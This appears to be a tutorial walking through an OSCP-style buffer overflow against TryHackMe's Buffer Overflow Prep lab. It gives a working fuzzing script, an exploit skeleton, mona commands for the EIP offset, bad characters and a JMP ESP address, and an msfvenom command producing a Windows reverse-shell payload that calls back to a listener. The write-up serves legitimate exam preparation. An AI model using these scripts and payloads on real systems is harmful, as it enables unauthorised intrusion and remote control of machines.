Overview
As part of the OSCP exam you may or may not have to perform a buffer overflow. Even without any security measures in place this can still be a daunting tasks for beginners. This article will not teach you from the ground up how to perform a buffer overflow but instead an easy methodology to follow for OSCP-like buffer overflows.
Basic Process
An OSCP style buffer overflow can consistently be exploited by doing the following steps.
- Fuzzing to find the crash point
- Overwriting the EIP
- Finding bad characters
- Finding a jump point
- Packing in our shell code safely
- Exploiting
I will be using the Buffer Overflow Prep room from TryHackMe for the example.
Finding The Crash Point
We can use this script to begin fuzzing the application.
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.21.132"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)

Overwriting the EIP
Now that we know the crash point is at 2000 bytes, we can use another script as the base for our exploit.
import socket
ip = "10.10.21.132"
port = 1337
prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
After saving this exploit script we can then create a pattern that’s 400 bytes longer using
msf-pattern_create
.
msf-pattern_create -l 2400
After adding the created pattern to the payload
variable of our exploit script we can run it and it should crash again. Once it crashes we can use mona to find the EIP offset using this command.
!mona findmsp -distance 2400

As we can see in the output, mona found the EIP at offset 1978, we can update the offset
variable in our exploit script to 1978 and set the retn
variable to BBBB to test our ability to overwrite the EIP.

After running our updated exploit script we should see EIP overwritten with “BBBB”.

Finding Bad Characters
Now that we can overwrite the EIP we can work on finding bad characters. We can use mona to generate a byte array (excluding null as it is nearly always a bad character).
!mona bytearray -b "\x00"
After generating the byte array with mona we can use this python script to generate an identical one.
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
Now we can replace the payload variable in our exploit script with the byte array we just generated. Once the the program crashes we can use mona to start weeding out bad characters.
!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP address>

Note that all of these might not be bad characters, bad characters may corrupt the next byte or in some cases the rest of the string. With this in mind the bytes I’d start to remove are 07
, 2e
and a0
.
Finding a Jump Point
Now that we now which characters are bad we can look for a JMP ESP
instruction that doesn’t contain bad characters using mona.
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

Choose one of these addresses and update the retn variable of the exploit script with it. We put the address in backwards in our code since the system is little-endian.

Inserting Payload
The next step is to generate our payload and insert it into our buffer, we can use msfvenom to create the payload.
msfvenom -p windows/shell_reverse_tcp LHOST=10.13.2.65 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c
Since an encoder was likely used to generate our payload we will need space in memory for it to unpack itself, we will change the padding
variable to add some nops before our payload. Once everything is in place our exploit should look something like this.

Exploit
With everything in place all we need to do is set up a listener and run the exploit.

